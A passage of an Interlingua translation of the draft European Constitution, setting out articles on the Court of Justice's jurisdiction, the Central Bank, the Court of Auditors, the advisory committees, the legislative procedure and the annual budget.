Tribunal de Justitia del Union Europee, post haber offerite a iste Stato de presentar su observationes. Illo indica le amonta del summa forfaitari o del mulcta a pagar per le Stato membro concernite que illo considera adaptate al circumstantias.\nSi le Tribunal de Justitia declara que le Stato membro concernite non se ha conformate a su sententia, illo pote infliger lo le pagamento de un summa forfaitari o de un mulcta. Iste procedura es sin prejudicio del articulo III-361.\n3. Quando le Commission presenta un recurso ante le Tribunal de Justitia del Union Europee in virtute del articulo III-360, considerante que le Stato membro concernite non ha complite su obligation de informar re le mesuras de transposition de un lege-quadro europee, illo pote, si illo lo considera opportun, indicar le amonta del summa forfaitari o del mulcta a pagar per le Stato membro concernite que illo considera adaptate al circumstantias.\nSi le Tribunal de Justitia constata non-complimento, illo pote infliger al Stato membro concernite le pagamento de un summa forfaitari o de un mulcta in le limite del amonta indicate per le Commission. Le obligation de pagamento entra in vigor al data fixate per le Tribunal de Justitia in su sententia.ARTICULO III-363\nLe leges o regulationes europee del Commission pote attribuer al Tribunal de Justitia del Union Europee un competentia de plen jurisdiction pro le sanctiones que illos previde.ARTICULO III-364\nSin prejudicio del altere dispositiones del Constitution, le lege europee pote attribuer al Tribunal de Justitia del Union Europee, in le mesura que illo determina, le competentia de decider re le lites relative al application del actos adoptate in virtute del Constitution que crea titulos europee de proprietate intellectual.ARTICULO III-365\n1. Le Tribunal de Justitia del Union Europee controla le legalitate del leges e leges-quadros europee, del actos del Consilio, del Commission e del Banca Central Europee, alteres que le recommendationes e le avisos, assi como actos del Parlamento Europee e del Consilio Europee destinate a producer effectos juridic vis-à-vis tertie partes.\n2. Pro le fines del paragrapho 1, le Tribunal de Justitia del Union Europee es competente pro pronunciar se re le recursos pro incompetentia, violation del formas substantial, violation del Constitution o de qualcunque regula de derecto relative a su application, o deviation de poter, facite per un Stato membro, le Parlamento Europee, le Consilio o le Commission.\n3. Le Tribunal de Justitia del Union Europee es competente, sub le conditiones mentionate in le paragraphos 1 e 2, pro pronunciar se re le recursos facite per le Tribunal de Contos, per le Banca Central Europee e per le Committee del Regiones con le fin de salveguardar le prerogativas de istes.\n4. Tote persona physic o juridic pote facer, sub le conditiones mentionate in le paragraphos 1 e 2, un recurso contra le actos del quales ille es le destinatario o que le concerne directemente e individualmente, assi como contra le actos regulamentari que le concerne directemente e que non include mesuras de execution.\n5. Le actos creante le organos e organismos del Union pote previder conditiones e modalitates particular concernente le recursos facite per personas physic o juridic contra actos de iste organos o organismos destinate a producer effectos juridic in relation a illes.\n6. Le recursos mentionate per le articulo presente debe esser facite intra un termino de duo menses a partir, secundo le casos, del publication del acto, de su notification al demandante o, in absentia de un tal notification, desde le die que le demandante ha cognoscentia de illo.ARTICULO III-366\nSi le recurso es fundate, le Tribunal de Justitia del Union Europee declara nulle e sin valor ni effecto le acto impugnate. Totevia, illo indica, si illo lo considera necessari, iste effectos del acto annullate que debe esser considerate como definitive.ARTICULO III-367\nSi, in violation del Constitution, le Parlamento Europee, le Consilio de Europa, le Consilio, le Commission, o le Banca Central Europee, se abstine de decider, le Statos membros e le altere institutiones del Union pote recurrer al Tribunal de Justitia del Union Europee pro facer constatar iste violation. Le presente articulo se applica, sub le mesme conditiones, al organos e organismos del Union que se abstine de decider.\nIste recurso solmente es admissibile si le institution, organo o organismo concernite ha essite previemente invitate a ager. Si, post un termino de duo menses a partir de iste invitation, le institution, le organo o le organismo non ha definite lor position, le recurso pote esser facite in un nove termino de duo menses.\nTote persona physic o juridic pote recurrer al Tribunal de Justitia sub le conditiones mentionate in le prime e secunde paragraphos, pro reprochar un del institutiones, o un del organos o organismos del Union de non haber dirigite a ille un acto distincte de un recommendation o de un aviso.ARTICULO III-368\nLe institution, organo o organismo del qual emana le acto annullate, e cuje abstention ha essite declarate contrari al Constitution, es obligate a prender mesuras que include le execution del sententia del Tribunal de Justitia del Union Europee. Iste obligation es sin prejudicio de lo que pote resultar del application del secunde paragrapho del articulo III-431.ARTICULO III-369\nLe Tribunal de Justitia del Union Europee es competente pro decider, con character prejudicial re:\na) le interpretation del Constitution;\nb) le validitate e le interpretation del actos del institutiones, organos e organismos del Union.\nQuando un tal question es ponite ante le jurisdiction de un del Statos membros, iste jurisdiction pote, si iste Stato considera que un decision re iste puncto es necessari pro dar su judicamento, peter le Tribunal de Justitia de decider re iste question.\nQuando un tal question es ponite in un affaire pendente ante un organo jurisdictional national cuje decisiones non es susceptibile de un recurso jurisdictional de derecto interne, iste organo es obligate a submitter le question al Tribunal de Justitia. Si un tal question es ponite in un affaire ante un organo jurisdictional national in relation con un persona private de libertate, le Tribunal de Justitia decide intra un termino le plus breve possibile.ARTICULO III-370\nLe Tribunal de Justitia del Union Europee es competente pro decider in lites relative al reparation del damnos mentionate in le secunde e tertie paragraphos del articulo III-431.ARTICULO III-371\nLe Tribunal de Justitia del Union Europee es competente pro pronunciar se re le legalitate de un acto adoptate per le Consilio Europee o per le Consilio in virtute del articulo I-59, solmente per requesta del Stato membro que es le objecto del constatation del Consilio Europee o del Consilio e unicamente in lo que concerne le respecto del dispositiones de procedura establite in iste articulo. Iste requesta debe esser facite intra un termino de un mense a partir de iste constatation. Le Tribunal de Justitia decide intra un termino de un mense a partir del data del requesta.ARTICULO III-372\nLe Tribunal de Justitia del Union Europee es competente pro decider re qualcunque lite inter le Union e su agentes intra le limites e conditiones determinate per le statuto del functionarios del Union e le regime applicabile al altere agentes del Union.ARTICULO III-373\nLe Tribunal de Justitia del Union Europee es competente, intra le limites infra exponite, pro decider re lites concernente:\na) le execution del obligationes del Statos membros resultante del statuto del Banca Europee de Investimentos. Le consilio de administration del banca dispone hic del poteres concedite, secundo le articulo III-360, al Commission;\nb) le accordos del Consilio de Governatores del Banca Europee de Investimentos. Cata Stato membro, le Commission e le Consilio de Administration del Banca pote facer un recurso in iste materia sub le conditiones mentionate in le articulo III-365;\nc) le accordos del Consilio de Administration del Banca Europee de Investimentos. Le recursos contra iste accordos pote esser facite, intra le conditiones mentionate in le articulo III-365, solmente per le Statos membros o le Commission, e unicamente pro violation del formas de procedura mentionate in le paragraphos 2 e 5, 6 e 7 del articulo 19 del statuto del Banca;\nd) le execution per le bancas national del obligationes resultante del Constitution e del statuto del Systema europee de bancas central e del Banca Central Europee. Le Consilio de Governatores del Banca Central Europee da, pro isto, vis-à-vis del bancas central national poteres recognoscite al Commission per le articulo III-360 vis-à-vis del Statos membros. Si le Tribunal de Justitia del Union Europee recognosce que un banca central national non ha complite un del obligationes que lo incumbe in virtute del Constitution, iste banca debe prender le dispositiones que include le execution del sententia del Tribunal de Justitia.ARTICULO III-374\nLe Tribunal de Justitia del Union Europee es competente pro decider in virtute de un clausula compromissori le qual es parte de un contracto de derecto public private passate per le Union o pro su conto.ARTICULO III-375\n1. Sin prejudicio del competentias que le Constitution attribue al Tribunal de Justitia del Union Europee, le lites in le quales le Union es parte non es, pro iste motivo, subtrahite al competentia del jurisdictiones national.\n2. Le Statos membros se obliga a non submitter controversias relative al interpretation o al application del Constitution a un procedura pro solver illos que es distincte del proceduras establite in le Constitution.\n3. Le Tribunal de Justitia del Union Europee es competente pro decider re qualcunque controversia inter le Statos membros relationate con le objecto del Constitution, si iste controversia lo es submitte in virtute de un compromisso.ARTICULO III-376\nLe Tribunal de Justitia del Union Europee non es competente pro decider relative al articulo I-40, al dispositiones del Capitulo II del Titulo V concernente le politica exterior e de securitate commun, e al articulo III-293 in le mesura que illo concerne le politica exterior e de securitate commun.\nTotevia, le Tribunal de Justitia es competente pro controlar le respecto del articulo III-308 e pronunciar se re le recursos, facite sub le conditiones mentionate in le articulo III-365(4) concernente le controlo del legalitate del decisiones europee establiente mesuras restrictive contra personas physic o juridic adoptate per le Consilio in virtute del Capitulo II del Titulo V.ARTICULO III-377\nIn le exercitio de su attributiones concernente le dispositiones del Sectiones 4 e 5 del Capitulo IV del Titulo III relative al spatio de libertate, de securitate e de Justitia, le Tribunal de Justitia del Union Europee non es competente pro verificar le validitate o le proportionalitate de operationes facite per le policia o altere servicios repressive in un Stato membro, ni pro decider re le exercitio de responsabilitates que incumbe al Statos membros pro le mantenimento del ordine public e le salveguarda del securitate interior.ARTICULO III-378\nNonobstante le expiration del termino mentionate in le articulo III-365(5), qualcunque parte pote recurrer, in le occasion de un lite, re un acto de portata general adoptate per un institution, un organo o un organismo del Union, al medios mentionate in le articulo III-365(2) pro invocar ante le Tribunal de Justitia del Union Europee le inapplicabilitate de iste acto.ARTICULO III-379\n1. Le recursos facite ante le Tribunal de Justitia del Union Europee non ha effecto suspensive. Totevia, le Tribunal de Justitia pote, si illo considera que le circumstantias lo exige, ordinar le suspension del execution del acto impugnate.\n2. In le affaires que es submittite al Tribunal de Justitia del Union Europee, iste pote ordinar le mesuras provisori necessari.ARTICULO III-380\nLe sententias del Tribunal de Justitia del Union Europee ha fortia executive sub le conditiones fixate in le articulo III-401.ARTICULO III-381\nLe statuto del Tribunal de Justitia del Union Europee es fixate per un protocollo. Le lege europee pote modificar le dispositiones del statuto, con exception de su Titulo I e su articulo 64. Illo es adoptate sia per requesta del Tribunal de Justitia e post consultation del Commission, sia per proposition del Commission e post consultation del Tribunal de Justitia.\nSubsection 6\nLe Banca Central Europee\nARTICULO III-382\n1. Le consilio del governatores del Banca Central Europee es componite del membros del directorato del Banca Central Europee e del governatores del bancas central national del Statos membros que non es objecto de un derogation in le senso del articulo III-197.\n2. Le directorato es componite del Presidente, del Vice-presidente, e de quatro altere membros.\nLe Presidente, le Vice-presidente e le altere membros del directorato es nominate per le Consilio Europee, decidente per majoritate qualificate, per recommendation del Consilio e post consultation del Parlamento Europee e del consilio del governatores del Banca Central Europee, inter le personas cuje autoritate e experientia professional in le dominio monetari o bancari es recognoscite.\nLor mandato ha un duration de octo annos e non es renovabile. Solmente le citatanos del Statos membros pote esser membros del directorato.ARTICULO III-383\n1. Le Presidente del Consilio e un membro del Commission pote participar sin derecto de votation in le reuniones del Consilio del Governatores del Banca Central Europee.\nLe Presidente del Consilio pote submitter un motion al deliberation del Consilio del Governatores del Banca Central Europee.\n2. Le Presidente del Banca Central Europee es invitate a participar al reuniones del Consilio quando illo delibera re questiones relative al objectivos e al missiones del Systema europee de bancas central.\n3. Le Banca Central Europee dirige un reporto annual re le activitates del Systema europee de bancas central e re le politica monetari del anno precedente e del anno in curso, al Parlamento Europee, al Consilio Europee, al Consilio, e al Commission. Le Presidente del Banca Central Europee presenta iste reporto al Parlamento Europee, que pote haber un debatto general basante se super illo, e al Consilio.\nLe Presidente del Banca Central Europee e le altere membros del directorato pote, per le requesta del Parlamento Europee o per lor proprie initiativa, esser consultate per le organos competente del Parlamento Europee.\nSubsection 7\nLe Tribunal de Contos\nARTICULO III-384\n1. Le Tribunal de Contos examina le contos del totalitate del receptas e del dispensas del Union. Illo examina equalmente le contos del totalitate del receptas e del dispensas de cata organo o organismo create per le Union, in le mesura que le acto instituente iste organo o iste organismo non exclude iste examine.\nLe Tribunal de Contos presenta al Parlamento Europee e al Consilio un declaration concernente le fidibilitate del contos, assi como le legalitate e le regularitate del operationes subjacente, que es publicate in le Jornal Official del Union Europee. Iste declaration pote esser completate per appreciationes specific pro cata dominio major del activitate del Union.\n2. Le Tribunal de Contos examina le legalitate e le regularitate del receptas e del dispensas e se assecura del bon gestion financiari. Faciente isto, illo signala particularmente qualcunque irregularitate.\nLe controlo del receptas es effectuate super le base del constatationes e del versamentos del receptas al Union. Le controlo del dispensas es effectuate super le base del ingagiamentos e del pagamentos.\nIste controlos pote esser effectuate ante le clausura del contos del exercitio budgetari annual considerate.\n3. Le controlo se face re le documentation contabile e, in caso necessari, in le locales del altere institutiones, assi como in le locales de qualcunque organo o organismo gerente receptas o dispensas in le nomine del Union e in le Statos membros, includite in le locales de qualcunque persona physic o juridic qui percipe fundos proveniente del budget. Le controlo in le Statos membros se effectua in contacto con le institutiones de controlo national o, si illos non dispone del competentias necessari, con le servicios national competente. Le Tribunal de Contos e le institutiones de controlo national del Statos membros practica un cooperation in un spirito de confidentia e respecto de lor independentia. Iste institutiones o servicios informa le Tribunal de Contos si illos ha le intention de participar in le controlo.\nQualcunque documento o qualcunque information necessari pro le execution del mission del Tribunal de Contos es communicate a illo, per su requesta, per le altere institutiones, per le organos o organismos gerente receptas o dispensas in le nomine del Union, per le personas physic o juridic qui percipe fundos proveniente del budget, e per le institutiones de controlo national o, si illos non dispone del competentias necessari, per le servicios national competente.\nQuanto al activitate de gestion de receptas e de dispensas del Union exercite per le Banca Europee de Investimentos, le derecto de accesso del Tribunal de Contos al informationes possedite per le Banca, es regite per un accordo concludite inter le Tribunal de Contos, le Banca e le Commission. In caso de absentia de un accordo, le Tribunal de Contos ha, nonobstante, accesso al informationes necessari pro effectuar le controlo del receptas e del dispensas del Union gerite per le Banca.\n4. Le Tribunal de Contos establi un reporto annual post le clausura de cata exercitio annual. Iste reporto es transmittite al altere institutiones e publicate in le Jornal Official del Union Europee, accompaniate del responsas del institutiones mentionate al observationes del Tribunal de Contos.\nIllo pote, in plus, presentar a cata momento su observationes, specialmente in le forma de reportos special, re questiones particular, e emitter avisos per requesta de un del altere institutiones.\nIllo adopta su reportos annual, reportos special o avisos, per majoritate del membros qui lo compone. Nonobstante, illo pote crear in su structuras cameras pro adoptar certe categorias de reportos o avisos, sub le conditiones mentionate in su regulamento interior.\nIllo assiste le Parlamento Europee e le Consilio in le exercitio de lor function de controlo del execution del budget.\nIllo adopta su regulamento interior. Iste regulamento es submittite al approbation del Consilio.ARTICULO III-385\n1. Le membros del Tribunal de Contos es eligite inter le personas qui pertine o ha pertinite in lor Stato respective al institutiones de controlo externe, o possede un qualification particular pro iste function. Illes debe offerer plen garantias de independentia.\n2. Le membros del Tribunal de Contos es nominate pro sex annos. Lor mandato es renovabile. Le Consilio adopta un decision europee fixante le lista del membros, componite in conformitate con le propositiones facite per cata Stato membro. Illo decide post consultation del Parlamento Europee.\nLe membros del Tribunal de Contos designa inter illos, pro tres annos, lor Presidente. Su mandato es renovabile.\n3. In le effectuation de lor deberes, le membros del Tribunal de Contos sollicita o accepta instructiones de necun governamento o de necun organismo. Illes se abstine de tote acto incompatibile con lor functiones.\n4. Le membros del Tribunal de Contos pote, durante le duration de lor functiones, exercer necun altere activitate professional, remunerate o non. Illes prende, in le periodo de lor installation, le ingagiamento solemne de respectar, durante le duration de lor functiones e post le cessation de illos, le obligationes proveniente de lor carga, in particular le deberes de integritate e discretion quanto al acceptation, post iste cessation, de certe functiones o de certe avantages.\n5. Foras del renovamentos regular e del decessos, le functiones de membro del Tribunal de Contos fini individualmente per dimission voluntari o per destitution declarate per le Tribunal de Justitia, conformemente con le paragrapho 6.\nLe membro dimissionari es reimplaciate pro le duration restante del mandato. Salvo in caso de destitution, le membros del Tribunal de Contos resta in function usque lor reimplaciamento.\n6. Le membros del Tribunal de Contos solo pote esser relevate de lor functiones o declarate private de lor derecto a pension, o de altere avantages de lor posto, si le Tribunal de Justitia constata, per requesta del Tribunal de Contos, que illes ha cessate de responder al conditiones requirite o de complir le obligationes proveniente de lor carga.\nSECTION 2\nORGANOS CONSULTATIVE DEL UNION\nSubsection 1\nLe Committee del Regiones\nARTICULO III-386\nLe numero del membros del Committee de Regiones non debe exceder tres centos cinquanta. Le Consilio, decidente per unanimitate per proposition del Commission, adopta un decision europee que fixa le composition del Committee.\nLe membros del Committee e un numero equal de supplentes es nominate pro cinque annos. Lor mandato es renovabile. Nulle membro del Committee pote simultaneemente esser un membro del Parlamento Europee.\nLe Consilio adopta le decision europee pro fixar le lista del membros e del supplentes establite in accordo con le propositiones facite per cata Stato membro.\nQuando cessa le mandato mentionate in le articulo I-32(2), in virtute del qual illes ha essite proponite, le mandato de membros del Committee fini automaticamente, e illes es reimplaciate pro le duration restante secundo le mesme procedura.ARTICULO III-387\nLe Committee del Regiones designa, inter su membros, su Presidente e su functionarios pro un duration de duo annos e medie.\nLe Committee es convocate per su Presidente, per le requesta del Parlamento Europee, del Consilio o del Commission. Illo pote equalmente reunir se per su proprie initiativa.\nIllo adopta su regulamento interior.ARTICULO III-388\nLe Committee del Regiones es consultate per le Parlamento Europee, per le Consilio o per le Commission in le casos mentionate in le Constitution e in tote le altere casos in le quales un de iste institutiones lo considera opportun, in particular illos que concerne le cooperation trans le frontieras.\nSi illo lo considera necessari, le Parlamento Europee, le Consilio, o le Commission, fixa pro le Committee, a fin de presentar su aviso, un termino que non pote esser minus de un mense post que le Presidente ha recipite le notification de isto. Al expiration del termino fixate illo pote negliger le aviso.\nQuando le Committee Economic e Social es consultate, le Committee del Regiones es informate per le Parlamento Europee, le Consilio, o le Commission, de iste requesta de aviso. Le Committee del Regiones pote equalmente emitter un aviso per su proprie initiativa.\nLe aviso del Committee assi como un reporto re su deliberationes es transmittite al Parlamento Europee, al Consilio e al Commission.\nSubsection 2\nCommittee Economic e Social\nARTICULO III-389\nLe numero del membros del Committee Economic e Social non excede tres centos cinquanta. Le Consilio adopta per unanimitate, per proposition del Commission, un decision europee fixante le composition del Committee.ARTICULO III-390\nLe membros del Committee Economic e Social es nominate pro cinque annos. Lor mandato es renovabile. Le Consilio adopta le decision europee que fixa le lista del membros, in conformitate con le propositiones presentate per cata Stato membro.\nLe Consilio decide post consultation del Commission. Illo pote demandar le opinion del organisationes europee representative del differente sectores economic e social e del societate civil concernite per le activitate del Union.ARTICULO III-391\nLe Committee Economic e Social designa inter su membros su presidente e su bureau pro un duration de duo annos e medie. Illo es convocate per su presidente, per requesta del Parlamento Europee, del Consilio o del Commission. Illo pote equalmente reunir se per su proprie initiativa. Illo adopta su regulamento interne.ARTICULO III-392\nLe Committee Economic e Social es consultate per le Parlamento Europee, per le Consilio o per le Commission in le casos mentionate in le Constitution. Illo pote esser consultate per iste institutiones in tote le casos in le quales illos lo judica opportun. Illo pote emitter un aviso per su proprie initiativa. Si illo lo considera necessari, le Parlamento Europee, le Consilio o le Commission fixa pro le Committee, a fin de presentar su aviso, un termino que non pote esser minus que un mense ab le data del notification que pro isto es dirigite al presidente. Si le termino del aviso expira, le aviso debe esser annullate.\nLe aviso del Committee e un reporto de su deliberationes es transmittite al Parlamento Europee, al Consilio e al Commission.\nSECTION 3\nLE BANCA EUROPEE DE INVESTIMENTOS\nARTICULO III-393\nLe Banca Europee de Investimentos ha personalitate juridic.\nSu membros es le Statos membros.\nLe statuto del Banca Europee de Investimentos figura in un Protocollo.\nUn lege europee del Consilio pote modificar le statuto del Banca Europee de Investimentos. Le Consilio decide per unanimitate, sia per requesta del Banca Europee de Investimentos e post consultation del Parlamento Europee e del Commission, sia per proposition del Commission e post consultation del Parlamento Europee e del Banca Europee de Investimentos.ARTICULO III-394\nLe Banca Europee de Investimentos ha pro mission de contribuer al disveloppamento equilibrate e stabile del mercato interior in le interesse del Union, recurrente al mercatos de capitales e a su proprie ressources. Pro iste fin, le Banca facilita, in particular per medio de concession de prestos e de garantias e sin persequer fines lucrative, le financiamento, in tote le sectores del economia, del projectos sequente:\na) projectos pro le valorisation de regiones minus disveloppate;\nb) projectos destinate al modernisation o al reconversion de interprisas o al creation de nove activitates necessari pro le establimento o le functionamento del mercato interior, que, per le amplitude o per lor natura, non pote esser integremente financiate per le diverse medios de financiamento existente in cata un del Statos membros;\nc) projectos de interesse commun pro plure Statos membros, que, per lor amplitude o per lor natura, non pote esser integremente financiate per le diverse medios de financiamento existente in cata un del Statos membros.\nIn le complimento de su mission, le Banca Europee de Investimentos facilita le financiamento de programmas de investimento in combination con le interventiones del fundos pro un scopo structural e del altere instrumentos financiari del Union.\nSECTION 4\nDISPOSITIONES COMMUN AL INSTITUTIONES, ORGANOS E ORGANISMOS DEL UNION\nARTICULO III-395\n1. Quando, in virtute del Constitution, le Consilio decide per proposition del Commission, illo solmente pote modificar iste proposition per unanimitate, salvo in le casos mentionate in le articulos I-55 e I-56, III-396(10 e 13), III-404 e III-405(2).\n2. Tanto longe que le Consilio non ha decidite, le Commission pote modificar su proposition in tote le phases del procedura que conduce al adoption de un acto del Union.ARTICULO III-396\n1. Quando, per virtute del Constitution, le leges o leges-quadro europee es adoptate secundo le procedura legislative ordinari, le dispositiones sequente es applicabile.\n2. Le Commission presenta un proposition al Parlamento Europee e al Consilio.\nPrime lectura\n3. Le Parlamento Europee prende decision de su position in prime lectura e lo transmitte al Consilio.\n4. Si le Consilio approba le position del Parlamento Europee, le acto concernite es adoptate in le formulation correspondente al position del Parlamento Europee.\n5. Si le Consilio non approba le position del Parlamento Europee, illo adopta su position in prime lectura e lo transmitte al Parlamento Europee.\n6. Le Commission informa plenmente le Parlamento Europee del rationes que lo ha ducite a adoptar su position in prime lectura. Le Commission informa plenmente le Parlamento Europee de su position.\nSecunde lectura\n7. Si in un termino de tres menses post iste transmission le Parlamento Europee:\na) approba le position del Commission in prime lectura o non prende decision, le acto in question es considerate como adoptate in le formulation correspondente al position del Consilio.\nb) rejecta in prime lectura per majoritate del membros que lo compone, le position del Consilio, le acto proponite es considerate como non adoptate.\nc) propone, per majoritate del membros que lo compone, emendamentos al position del Consilio in prime lectura, le texto assi modificate es transmittite al Consilio e al Commission que exprime un aviso re iste emendamentos.\n8. Si, in un termino de tres menses post reception del emendamentos del Parlamento Europee le Consilio, decidente per majoritate qualificate:\na) approba tote le emendamentos, le acto concernite es considerate como adoptate.\nb) non approba tote le emendamentos, le presidente del Consilio, de accordo con le Presidente del Parlamento Europee, convoca le Committee de Conciliation in un termino de sex septimanas.\n9. Le Consilio decide per unanimitate re le emendamentos que ha essite le objecto de un aviso negative del Commission.\nConciliation\n10. Le Committee de Conciliation, que es componite del membros del Consilio o de lor representantes e de un numero equal de membros que representa le Parlamento Europee, ha pro mission de arrivar a un accordo re un projecto commun per le majoritate del membros del Consilio o de lor representantes e per le majoritate del membros representante le Parlamento Europee in un termino de sex septimanas a partir de su convocation, super le base del positiones del Parlamento Europee e del Consilio in secunde lectura.\n11. Le Commission participa in le labores del Committee de Conciliation e prende tote le initiativas necessari in vista de promover un approximation del positiones del Parlamento Europee e del Consilio.\n12. Si, in un termino de sex septimanas post su convocation, le Committee de Conciliation non approba un projecto commun, le acto proponite es considerate como non-adoptate.\nTertie lectura\n13. Si, in iste termino, le Committee de Conciliation approba un projecto commun, le Parlamento Europee e le Consilio dispone cata uno de un termino de sex septimanas a partir de iste approbation pro adoptar le acto concernite conformemente con iste projecto, le Parlamento Europee decidente per le majoritate del votos exprimite e le Consilio per majoritate qualificate. Si non, le acto proponite es considerate como non-adoptate.\n14. Le terminos de tres menses e de sex septimanas mentionate in le presente articulo es prorogate respectivemente de un mense e de duo septimanas al maximo per initiativa del Parlamento Europee o del Consilio.\nDispositiones particular\n15. Quando in le casos mentionate in le Constitution, un lege o lege-quadro europee es submittite al procedura legislative ordinari per initiativa de un gruppo de Statos membros, per recommendation del Banca Central Europee o per requesta del Tribunal de Justitia, le paragrapho 2, le paragrapho 6, secunde phrase, e le paragrapho 9 non es applicabile.\nIn iste casos, le Parlamento Europee e le Consilio transmitte al Commission le projecto de acto assi como lor positiones in prime e secunde lecturas. Le Parlamento Europee o le Consilio pote peter le aviso del Commission in le curso de tote le procedura e le Commission pote equalmente exprimer iste aviso per su proprie initiativa. Illo pote equalmente, si illo lo considera necessari, participar in le Committee de Conciliation conformemente con le paragrapho 11.ARTICULO III-397\nLe Parlamento Europee, le Consilio e le Commission procede a consultationes reciproc e organisa de accordo commun le modalitates de lor cooperation. A tal scopo, con respecto al Constitution, illos pote concluder accordos interinstitutional que pote haber un character obligatori.ARTICULO III-398\n1. In le complimento de lor functiones, le institutiones, organos e organismos del Union se appoia super un administration europee aperte, efficace e independente.\n2. Con respecto al Statuto e al regime adoptate super le base del articulo III-427, le lege europee fixa le dispositiones pro isto.ARTICULO III-399\n1. 1. Le institutiones, organos e organismos del Union garanti le transparentia de lor labores e defini in lor regulamentos interne, in application del articulo I-50, le dispositiones relative al accesso del publico al documentos. Le Tribunal de Justitia del Union Europee, le Banca Central Europee e le Banca Europee de Investimentos solo es submittite al articulo I-50(3), e al presente articulo quando illos exerce functiones administrative.\n2. Le Parlamento Europee e le Consilio provide al publico le documentos relative al procedura legislative in le conditiones mentionate in le articulo I-50(4) del lege europee.ARTICULO III-400\n1. Le Consilio adopta regulamentos e decisiones europee que fixa:\na) salarios, emolumentos e pensiones del Presidente del Consilio Europee, del Presidente del Commission, del Ministro de Affaires Exterior del Union, del membros del Commission, del presidentes, del membros e del secretarios del Tribunal de Justitia del Union Europee e del Secretario General del Consilio;\nb) le conditiones de empleo, in particular le salarios, emolumentos e pensiones del Presidente e del membros del Tribunal de Contos.\nc) tote le emolumentos de character remunerative del personas mentionate in le litteras a) e b).\n2. Le Consilio adopta regulamentos e decisiones europee que fixa le emolumentos del membros del Committee Economic e Social.ARTICULO III-401\nLe actos del Consilio, del Commission o del Banca Central Europee, que impone un obligation pecuniari a personas distincte del Statos membros, es titulos executive.\nLe execution fortiate es regite per le regulas del procedura civil in vigor in le Stato membro in cuje territorio illo es effectuate. Le ordine de execution es apponite, sin altere controlo que le controlo del verification del authenticitate del titulo, per le autoritate national que le governamento de cata un del Statos membros designa a tal fin, informante le Commission e le Tribunal de Justitia del Union Europee.\nPost le complimento de iste formalitates, per petition del interessato, iste pote continuar le execution fortiate conformemente con le legislation national, recurrente directemente al autoritate competente.\nLe execution fortiate solo pote esser suspendite in virtute de un decision del Tribunal de Justitia del Union Europee. Nonobstante, le controlo del regularitate del dispositiones de execution pertine al competentia del organos jurisdictional national.\nCapitulo II\nDISPOSITIONES FINANCIARI\nSECTION 1\nQUADRO FINANCIARI PLURIANNUAL\nARTICULO III-402\n1. Le quadro financiari pluriannual es establite pro un periodo de al minus cinque annos conformemente con le articulo I-55.\n2. Le quadro financiari fixa le amontas del limites annual del creditos pro ingagiamentos per categoria de dispensas e del limite annual del creditos pro pagamentos. Le categorias de dispensas, de un numero limitate, corresponde al grande sectores de activitate del Union.\n3. Le quadro financiari establi qualcunque altere disposition utile pro le bon disveloppamento del procedura budgetari annual.\n4. Quando le lege europee del Consilio fixante un nove quadro financiari non ha essite adoptate al termino del quadro financiari precedente, le limites e altere dispositiones correspondente a iste ultime anno es prorogate usque a su adoption.\n5. Durante tote le duration del procedura conducente al adoption del quadro financiari, le Parlamento Europee, le Consilio e le Commission adopta qualcunque mesura necessari pro facilitar le resultato final del procedura.\nSECTION 2\nBUDGET ANNUAL DEL UNION\nARTICULO III-403\nLe exercitio budgetari comencia le 1 de januario e fini le 31 de decembre.ARTICULO III-404\nLe lege europee establi le budget annual del Union conformemente con le dispositiones sequente.\n1. Cata institution elabora, ante le 1 de julio, un stato de previsiones de su dispensas pro le sequente exercitio budgetari annual. Le Commission reuni iste statos in un projecto de budget que pote continer previsiones divergente. Iste projecto comprende un prevision del receptas e un prevision del dispensas.\n2. Le Commission presenta un proposition que contine le projecto de budget al Parlamento Europee e al Consilio non plus tarde que le 1 de septembre del anno que precede iste del execution del budget. Le Commission pote modificar le projecto de budget in le curso del procedura usque al convocation del Committee de Conciliation mentionate in le paragrapho 5.\n3. Le Consilio adopta su position re le projecto de budget e lo transmitte al Parlamento Europee non plus tarde que le 1 de octobre del anno que precede le anno del execution del budget. Illo informa plenmente le Parlamento Europee del rationes que lo ha conducite a adoptar su position.\n4. Si, in un termino de quaranta duo dies post iste transmission, le Parlamento Europee:\na) approba le position del Consilio, le lege europee establiente le budget es adoptate;\nb) non ha decidite, le lege europee establiente le budget es considerate como adoptate;\nc) adopta, per le majoritate del membros qui lo compone, emendamentos, le projecto assi emendate es transmittite al Consilio e al Commission. Le Presidente del Parlamento Europee, de accordo con le Presidente del Consilio, convoca sin demora le Committee de Conciliation. Totevia, le Committee non se reuni si, in un termino de dece dies post iste transmission, le Consilio informa le Parlamento Europee que illo approba tote su emendamentos.\n5. Le Committee de Conciliation, que es componite del membros del Consilio o de lor representantes e de un numero de membros representante le Parlamento Europee, ha pro mission de arrivar, super le base del positiones del Parlamento Europee, a un accordo re un projecto commun per majoritate qualificate del membros del Consilio o de lor representantes e per le majoritate del membros representante le Parlamento Europee, in un termino de vinti un dies a partir de su convocation. Le Commission participa in le labores del Committee de Conciliation e prende tote le initiativas necessari in vista de promover un approximation del positiones del Parlamento e del Consilio.\n6. Si, in le termino de vinti un dies mentionate in le paragrapho 5, le Committee de Conciliation arriva a un accordo re un projecto commun, le Parlamento Europee e le Consilio dispone cata un de un termino de dece-quatro dies a partir del data de iste accordo pro approbar le projecto commun.\n7. Si, in le termino de dece-quatro dies mentionate in le paragrapho 6:\na) le Parlamento Europee e le Consilio approba conjunctemente le projecto commun o non arriva a prender un decision, o si un de iste institutiones approba le projecto commun, ma le altere non arriva a prender un decision, le lege europee establiente le budget es considerate como definitivemente adoptate in conformitate con le projecto commun, o\nb) le Parlamento Europee, decidente per le majoritate del membros que lo compone, e le Consilio rejecta conjunctemente le projecto commun, o si un de iste institutiones rejecta le projecto commun, ma le altere non arriva a prender un decision, un nove projecto de budget es presentate per le Commission, o\nc) le Parlamento Europee, decidente per le majoritate del membros que lo compone, rejecta le projecto commun, ma le Consilio lo approba, un nove projecto de budget es presentate per le Commission, o\nd) le Parlamento Europee approba le projecto commun, ma le Consilio lo rejecta, le Parlamento Europee pote decider, in un termino de dece-quatro dies a partir del data del rejecto per le Consilio, decidente per le majoritate del membros que lo compone e del tres quintos de votos exprimite, de confirmar le totalitate o un parte del emendamentos mentionate in le littera c) del paragrapho 4. Si un del emendamentos del Parlamento Europee non es confirmate, le position adoptate in le Committee de Conciliation concernente le linea budgetari que es le objecto de iste emendamento es mantenite. Le lege europee establiente le budget es considerate como definitivemente adoptate super iste base.\n8. Si, in le termino de vinti un dies mentionate in le paragrapho 5, le Committee de Conciliation non arriva a un accordo re un projecto commun, un nove projecto de budget es presentate per le Commission.\n9. Quando le procedura mentionate in le presente articulo es 